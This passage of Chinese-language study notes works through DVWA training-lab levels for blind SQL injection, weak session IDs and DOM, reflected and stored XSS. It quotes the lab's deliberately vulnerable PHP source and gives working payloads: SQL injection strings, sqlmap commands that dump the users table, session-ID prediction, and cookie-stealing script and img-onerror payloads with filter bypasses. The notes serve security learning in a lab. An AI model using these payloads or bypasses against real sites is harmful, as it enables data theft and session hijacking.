      if( $num > 0 ) {
          // Feedback for end user
          echo '<pre>User ID exists in the database.</pre>';
      }
      else {
          // Might sleep a random amount
          if( rand( 0, 5 ) == 3 ) {
              sleep( rand( 2, 4 ) );
          // ↑ 变化
          }

          // User wasn't found, so the page wasn't!
          header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

          // Feedback for end user
          echo '<pre>User ID is MISSING from the database.</pre>';
      }

      ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
  }
  ```

- ```
  # 转变为读取cookie，无明显过滤
  # sql语句同low,增加一个limit 1
  ```

payload

- ```
  ?id=1' or 1=1 -- -
  # 对 + 进行编码，解码后在mysql里没有注释作用
  # --+ 可能出错，但 -- -不会
  # 其余同 low
  # mysql注释符有三种：#、--[空格]、/**/
  ```

8.SQL Injection(Blind)

- 布尔盲注
- 可能用到的函数
  - ```
    /* 统一
    * str : 字符串或字符
    * len : 长度
    * start : 起始位置
    * pos : 指定位置
    */
    left(str,len)                -- 返回左起规定长度字符
    substr(str,start,len)         -- 截取字符串
    ascii()                      -- 将字符转换成 ascii 值
    ord()                        -- 同 ascii()
    mid(str,start,pos)            -- 取出字符
    regexp 'str'                 -- 正则匹配，str 可以为 [a-z]
    like 'str(%)'                -- 匹配。不加 % 相当于 =，"精准匹配"，加上 % "简单匹配"
    count()                      -- 记录个数
    length(str)                  -- 长度
    ```

Low

- ```
  SQL Injection (Blind) Source
  vulnerabilities/sqli_blind/source/low.php
  <?php

  if( isset( $_GET[ 'Submit' ] ) ) {
      // Get input
      $id = $_GET[ 'id' ];

      // Check database
      $getid  = "SELECT first_name, last_name FROM users WHERE user_id =
  '$id';";
      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed
  'or die' to suppress mysql errors
  ```

```
    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses
errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ?
false : $___mysqli_res);
}

?>
```

- `//  与平常SQL注入不同在于不再输出结果，只输出是否存在`

payload

```
/* burpsuite    爆破 database() 为例
* 测试出 ?id=1' and length(database() ) = 1 -- -
* 抓包爆破长度  Send to Intruder
*               Positions
*                   [Sniper]  clear and add $1$
*               Payloads
*                   Number      From 1 to 10 Step 1
*               Start Attack    长度均相同，但状态码不同，找到 200 正确状态码
*
* 测试出 ?id=1' and substr(database(),1,1) = 'd' -- -
* 抓包爆破库名  Send to Intruder
*               Positions
*                   [Cluster bomb] clear and add substr(database(),$1$,1) =
'$d$'
*               Payloads
*                   1-Number    From 1 to 4 Step 1
*                   2-Brute forcer  Min/Max length=1
*               Srart Attack    同上，状态码不同
* 可以直接爆破库名，但是如果不确定库的长度，笛卡尔积的数量会非常庞大。如此做可节省时间
*/

/* sqlmap,所有均省略前置相同部分，使用 url 等代替
* python sqlmap.py
* -u "url/...(其他内容)/?id=1" --batch --dbs            // 爆出所有数据库
*       --batch --tables -D dvwa                        // 爆出指定库内表名
*       --batch --dump -T users -D dvwa                 // 爆出表里内容，同 mysql 的
select * from users
* 出于未知原因，sqlmap 爆破失败，在 POST 处，抓包，粘贴 -r [filename.txt] 即可爆破
*/
```

```
/*
# python 脚本爆破 [能力不强，网上copy的]
# 修改参数 : url 和 headers 内 cookie 的值[自己抓包获取一次]
# 脚本文件夹下，命令窗口输入 python low.py
*/
```

> 状态码有趣的解释 --> HTTP Cats

Medium

-

```
SQL Injection (Blind) Source
vulnerabilities/sqli_blind/source/medium.php
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) &&
is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) :
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
This code does not work.", E_USER_ERROR)) ? "" : ""));
// ↑ 变化
    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id =
$id;";
    // ↑ 变化
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed
'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses
errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>
```

payload

* ```php
  mysqli_real_escape_string()        // 转义特殊字符

  # 仔细看 id 传参，依旧坑人，不需要闭合就可以传上去，而且当做 sql 语句执行
  # 与 Low 不同的是，不需要闭合，转为 POST 传参，
  # Burp suite：原理不变，只是改包位置变化

High

- SQL Injection (Blind) Source
  vulnerabilities/sqli_blind/source/high.php
  ```php
  <?php

  if( isset( $_COOKIE[ 'id' ] ) ) {
      // Get input
      $id = $_COOKIE[ 'id' ];
      // 变化

      // Check database
      $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

      // Get results
      $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
      if( $num > 0 ) {
          // Feedback for end user
          echo '<pre>User ID exists in the database.</pre>';
      }
      else {
          // Might sleep a random amount
          if( rand( 0, 5 ) == 3 ) {
              sleep( rand( 2, 4 ) );
          }

          // User wasn't found, so the page wasn't!
          header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

          // Feedback for end user
          echo '<pre>User ID is MISSING from the database.</pre>';
      }

      ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
  }

  ?>
```

- 增加了 cookie 里的验证，在 cookie 会记录上一次 post 的值，且返回请求多次，返回多个页面

payload

- 复制数据至 Cookie 处，其余同 Medium
```
/* 三个页面
* 1.cookie 记录上一次注入的命令
* 2.cookie 内容同上，POST 处获取到输入数据
* 3.cookie 得到 POST 处数据，上传
*/
在第三个页面使用 burpsuite 爆破才可
```

简单总结

- 自动化：sqlmap > python脚本 > burpsuite
- 花费时长：burpsuite > python脚本 > sqlmap
- 操作难度：python脚本(不会的情况下) > sqlmap(出问题的情况下) > burpsuite
- 所以快速学会 python，以后直接套模式就好

9.Weak Session IDs

- 弱会话 ID
- 窃取 Session 来伪造成用户

> Session与Cookie

Low

- Weak Session IDs Source
vulnerabilities/weak_id/source/low.php
```php
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?>
```

- ```
  $_SERVER['REQUEST_METHOD']                  // 请求方法，如GET、POST，内无数据
  setcookie()                                 // 创建cookie内的信息

  /*
  新用户 session_id 在不断增加
  ```

payload

```
Burpsuite 抓包
    多次尝试 Generate 抓包发现变化参数 dvwaSession=7  猜测下一次为 8
    下次访问：http://192.168.248.129:999/vulnerabilities/weak_id/
            Cookie: dvwaSession=8; PHPSESSID=ejrp90l426m3nmscelo2tdtmb5;
security=low
模拟用户关闭网页
    清除浏览数据，可能出错，并且有一直卡在 low 等级的风险
    如果方便，建议换个浏览器，重新抓包改包，带上Cookie即可访问成功，绕过登录，伪造为 admin 用
户
```

Medium

- ```
  <?php

  $html = "";

  if ($_SERVER['REQUEST_METHOD'] == "POST") {
      $cookie_value = time();
      // ↑ 变化
      setcookie("dvwaSession", $cookie_value);
      // ↑ 变化
  }
  ?>
  ```

- ```
  time()                              // 返回时间戳
                                      // 时间戳是从1970年1月1日（UTC/GMT的午夜）开始所
  经过的秒数
  ```

payload

```
通过在线工具获取时间戳时间 ：https://tool.lu/timestamp/
            现在为: Cookie: dvwaSession=1663845166;
PHPSESSID=tnumd3p3ub80tj4gnj3uefbof8; security=medium
找一个少于此时间的时间戳，开始绕过登录，登录成功
```

High
```

- vulnerabilities/weak_id/source/high.php

```
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id_high'])) {
        $_SESSION['last_session_id_high'] = 0;
    }
    $_SESSION['last_session_id_high']++;
    $cookie_value = md5($_SESSION['last_session_id_high']);
    // ↑ 变化
    setcookie("dvwaSession", $cookie_value, time()+3600,
"/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
    // ↑ 变化
}
```

-

```
md5()                          // MD5加密
setcookie()                    // 加入第三项过期时间：1小时
                              // 第四项 Cookie 服务器路径，有效路径；
                              // 第五项:规定Cooie域名；最后是取消 https 传输
```

payload

-

```
session_id 还是不断自增，比起 low 多了个 md5 加密，其余皆相同
猜下一次的 session_id ，并 md5 加密上传
# 原理都懂了，但是浏览器卡在时间戳，无法实践
```

XSS

- 跨站脚本漏洞

> XSS(跨站脚本攻击)详解 - 蒋璐 - 博客园 (cnblogs.com)
>
> xss各种姿势的学习(包含绕过)和个人重要总结

- HTML 语言

10.XSS (DOM)

Low

- Unknown Vulnerability Source
vulnerabilities/xss_d/source/low.php

```
<?php

# No protections, anything goes

?>
```

- 字面意思，无防护

payload

- ```
  <!--先选择，再改 -->
  ?default=<script>alert(document.cookie)</script>
  <!-- <script>内容</script> 内容可执行一些 JavaScript 代码，不管外面包含的标签，解析就被执行  -->
  <!-- 首先选择一个，再进行改造，输入任意值，前端都显示 -->
  <!-- 检查元素，找到位置，发现可植入恶意代码 -->
  ```

Medium

- ```
  Unknown Vulnerability Source
  vulnerabilities/xss_d/source/medium.php
  <?php

  // Is there any input?
  if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) )
  {
      $default = $_GET['default'];

      # Do not allow script tags
      if (stripos ($default, "<script") !== false) {
          header ("location: ?default=English");
          exit;
      }
  }

  ?>
  ```

- ```
  array_key_exists()                                  // 查询数组是否包含指定键名
  stripos()                                           // 检查字符串第一次出现的位置，不分大小写。无法大小写绕过
  ```

payload

- ```
  ?default=</option></select><img src=1 onerror=alert(document.cookie)>
  <select><option>
  <!-- 过滤了 script ,可以构造其他标签，但是首先要闭合另外多余包含的标签 -->
  ```

High

- ```
  Unknown Vulnerability Source
  vulnerabilities/xss_d/source/high.php
  <?php
  ```
  ```

```
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) )
{

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
    // ↑ 变化
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>
```

- 白名单四选一

payload

- ?default=English # <script>alert(document.cookie)</script>
  <!-- '#' 锚点,作为定位某一网页访问位置,其后的值不参与传参，但是会被前端解析，使得被执行脚本
  看到这个，在SQL注入里的用法是一样的，所以可以在SQL注入里加上脚本也会出现cookie
  此处需要说明，-- -只是sql里面的注释符，在此题中无作用，因为不与后端交互

11.XSS (Reflect)

Low

- Reflected XSS Source
  vulnerabilities/xss_r/source/low.php
  ```
  <?php

  header ("X-XSS-Protection: 0");

  // Is there any input?
  if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
      // Feedback for end user
      echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
  }

  ?>
  ```

- no protections
  并且把内容显示在前端

payload

- ?name=<script>alert(document.cookie)</script>

Medium

- Reflected XSS Source
  vulnerabilities/xss_r/source/medium.php

```
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>
```

- str_replace() // 字符串替换(区分大小写),替换为空

payload

- <!-- 大小写或双写绕过 -->
  ?name=<s<script>cript>alert(document.cookie)</script>
  ?name=<Script>alert(document.cookie)</script>

High

- Reflected XSS Source
  vulnerabilities/xss_r/source/high.php

```
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[
'name' ] );
```

```
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>
```

- ```
  preg_replace()                    // 正则匹配的字符串替换，区分大小写，默认无限制次替换
      .../i                         // 不区分大小写
      (.*)                          // 代表一个或多个任意字符
  ```

payload

- ```
  ?name=<img src=1 onerror=alert(document.cookie) >
  <!-- 构造 img 标签成功
  ```

12.XSS (Stroed)

Low

- ```
  Stored XSS Source
  vulnerabilities/xss_s/source/low.php
  <?php

  if( isset( $_POST[ 'btnSign' ] ) ) {
      // Get input
      $message = trim( $_POST[ 'mtxMessage' ] );
      $name    = trim( $_POST[ 'txtName' ] );

      // Sanitize message input
      $message = stripslashes( $message );
      $message = ((isset($GLOBALS["___mysqli_ston"]) &&
  is_object($GLOBALS["___mysqli_ston"])) ?
  mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) :
  ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
  This code does not work.", E_USER_ERROR)) ? "" : ""));

      // Sanitize name input
      $name = ((isset($GLOBALS["___mysqli_ston"]) &&
  is_object($GLOBALS["___mysqli_ston"])) ?
  mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) :
  ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
  This code does not work.", E_USER_ERROR)) ? "" : ""));

      // Update database
      $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message',
  '$name' );";
      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die(
  '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ?
  mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res =
  mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
  ```
  ```

```
    //mysql_close();
}

?>
```

- ```
  trim()                          // 移除一些"空格"
  stripslashes()                  // 删除反斜杠
  mysqli_real_escape_string()  // 字符转义，特殊字符前加'\', NO SQL inject
  INSERT INTO                     // sql中增加内容的语法
  ```

payload

- ```
  <!-- 随意输入发现均可读入且现实在前端,直接输入以下代码 -->
  <script>document.write(document.cookie)</script>
  <!-- 由于是留言板，一直存储在前端，alert() 一遍一遍弹窗很烦[想想真实环境，对网站危害很大]  -->
  <!-- 为了自己舒服点，建议别用alert(),一写到服务端想改都改不了了
  -->
  <script>alert(document.cookie)</script>
  ```

Medium

- ```
  <?php

  if( isset( $_POST[ 'btnSign' ] ) ) {
      // Get input
      $message = trim( $_POST[ 'mtxMessage' ] );
      $name    = trim( $_POST[ 'txtName' ] );

      // Sanitize message input
      $message = strip_tags( addslashes( $message ) );
      // ↑ 变化
      $message = ((isset($GLOBALS["___mysqli_ston"]) &&
  is_object($GLOBALS["___mysqli_ston"])) ?
  mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) :
  ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
  This code does not work.", E_USER_ERROR)) ? "" : ""));
      $message = htmlspecialchars( $message );
      // ↑ 变化

      // Sanitize name input
      $name = str_replace( '<script>', '', $name );
      // ↑ 变化
      $name = ((isset($GLOBALS["___mysqli_ston"]) &&
  is_object($GLOBALS["___mysqli_ston"])) ?
  mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) :
  ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
  This code does not work.", E_USER_ERROR)) ? "" : ""));

      // Update database
      $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message',
  '$name' );";
  ```
  ```

```
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die(
'<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res =
mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>
```

- ```
  addslashes()                          // 在特殊字符前加上 \ ，如 ' " \ NULL
  strip_tags()                          // 去除 HTML、XML 以及 PHP 的标签
  htmlspecialchars()
  /* 把一些字符换成 html 实体
  * & 换成 &amp
  * " 换成 &quot
  * < 换成 &lt
  * > 换成 &gt
  * ' 不变
  */
  ```

payload

- ```
  <!-- 只对 message 进行了强限制，在 name 出写上代码即可，字数限制可以在前端审查中改
  -->
  <img src=1 onerror=document.write(document.cookie)>
  <!-- 可以查看一次性的，会跳转，之后这个网页再也打不开了，无法加载进入只能显示
  cookie,Impossible 才能正常显示  -->
  <!-- 还想用别的账号登录，才想到这个是写入留言板，所有用户可见，谁点击谁中招                -
  ->
  <s<script>cript>document.write(document.cookie)</script>
  <!--    建议双写 or 大小写绕过   -->
  ```

High

- ```
  <?php

  if( isset( $_POST[ 'btnSign' ] ) ) {
      // Get input
      $message = trim( $_POST[ 'mtxMessage' ] );
      $name    = trim( $_POST[ 'txtName' ] );

      // Sanitize message input
      $message = strip_tags( addslashes( $message ) );
      $message = ((isset($GLOBALS["___mysqli_ston"]) &&
  is_object($GLOBALS["___mysqli_ston"])) ?
  mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) :
  ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
  This code does not work.", E_USER_ERROR)) ? "" : ""));
      $message = htmlspecialchars( $message );

      // Sanitize name input
      $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
  ```
  ```

```
    // ↑ 变化
    $name = ((isset($GLOBALS["___mysqli_ston"]) &&
is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) :
((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!
This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message',
'$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die(
'<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ?
mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res =
mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>
```

- `preg_replace()  // 指定替换改为正则替换`

payload

- ```
  <-- 题目崩了，但是这个模式在 XSS(Reflect)-High 中见过，直接用 <img> 标签
  -->
  <img src=1 onerror=document.write(document.cookie)>
  ```

其他留待后续补充...

" " 此引号的内容均为自己随意写的，无真实所指 --- blackole
  ```